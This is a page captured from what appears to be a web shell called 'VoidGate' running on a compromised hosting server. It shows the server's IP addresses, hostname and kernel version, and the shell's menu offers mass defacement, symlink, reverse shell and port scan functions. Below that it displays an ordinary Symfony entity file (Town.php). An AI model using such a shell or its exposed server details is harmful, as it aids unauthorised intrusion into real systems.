ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: Town.php
<?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\TownRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=TownRepository::class) */ class Town { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $town_name; /** * @ORM\ManyToOne(targetEntity=Country::class, inversedBy="towns") */ private $country; /** * @ORM\Column(type="datetime", nullable=true) */ private $createdAt; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $picture; /** * @ORM\Column(type="boolean", nullable=true) */ private $isCapital; /** * @ORM\Column(type="integer", nullable=true) */ private $population; /** * @ORM\Column(type="decimal", precision=30, scale=10) */ private $latitude; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $longitude; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $region; /** * @ORM\Column(type="integer", nullable=true) */ private $vues; public function __construct() { $this->createdAt = new \DateTime( ); $this->vues=0; } public function getId(): ?int { return $this->id; } public function setId($id): self { $this->id=$id; return $this; } public function getTownName(): ?string { return $this->town_name; } public function setTownName(string $town_name): self { $this->town_name = $town_name; return $this; } public function getCountry(): ?Country { return $this->country; } public function setCountry(?Country $country): self { $this->country = $country; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function getIsCapital(): ?bool { return $this->isCapital; } public function setIsCapital(?bool $isCapital): self { $this->isCapital = $isCapital; return $this; } public function getPopulation(): ?int { return $this->population; } public function setPopulation(?int $population): self { $this->population = $population; return $this; } public function getLatitude(): ?string { return $this->latitude; } public function setLatitude(string $latitude): self { $this->latitude = $latitude; return $this; } public function getLongitude(): ?string { return $this->longitude; } public function setLongitude(?string $longitude): self { $this->longitude = $longitude; return $this; } public function getRegion(): ?string { return $this->region; } public function setRegion(?string $region): self { $this->region = $region; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->town_name." - ".$this->getCountry()->getCountryName(); } public function getVues(): ?int { return $this->vues; } public function setVues(?int $vues): self { $this->vues = $vues; return $this; } }
Coded With 💗 by
0x6ick